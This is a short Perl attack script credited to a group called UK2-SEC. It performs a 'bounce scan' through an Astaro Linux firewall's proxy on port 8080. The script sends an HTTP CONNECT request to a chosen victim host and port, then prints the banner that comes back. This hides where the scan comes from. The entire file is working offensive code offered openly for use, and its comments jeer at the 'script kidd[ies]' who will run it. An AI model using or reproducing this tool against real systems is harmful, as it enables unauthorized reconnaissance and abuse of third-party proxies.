#!/usr/bin/perl

#UK2-SEC presents...
#Astaro Linux Firewall Bounce scan..
#grabs banner from a given ip and port..
#Crappy, and lame, but hey there's always some script kidd,
#that needs this ;) lol
#
#Coded by: deadbeat@hush.com
#For UK2-SEC...
#mail me at: eip@oakey.no-ip.com


use IO::Socket;
print "\nAstaro linux firewall bounce scan...\n";
print "Coded by: deadbeat\@hush.com\n";
print "On behalf of UK2-SEC..\n";
$proxy_port= 8080;
$proxy = $ARGV[0];
$victim = $ARGV[1];
$victim_port = $ARGV[2];
if (!$ARGV[2]){
   die "Usage: perl $0 <proxy>  <victim> <victim_port>\n";
}
print "Proxy: $proxy ", "Port: \n";
print "Target: $victim ", "Port: $victim_port\n";
$sox = IO::Socket::INET->new(
   Proto=>"tcp",
   PeerPort=>"$proxy_port",
   PeerAddr=>"$proxy"
);
$request = "CONNECT $victim:$victim_port / HTTP/1.0\r\n\r\n";
sleep 1;
print $sox $request;
while (<$sox>){
   print "${_}";
}
printf "\n";
print "There, u go..done..\n";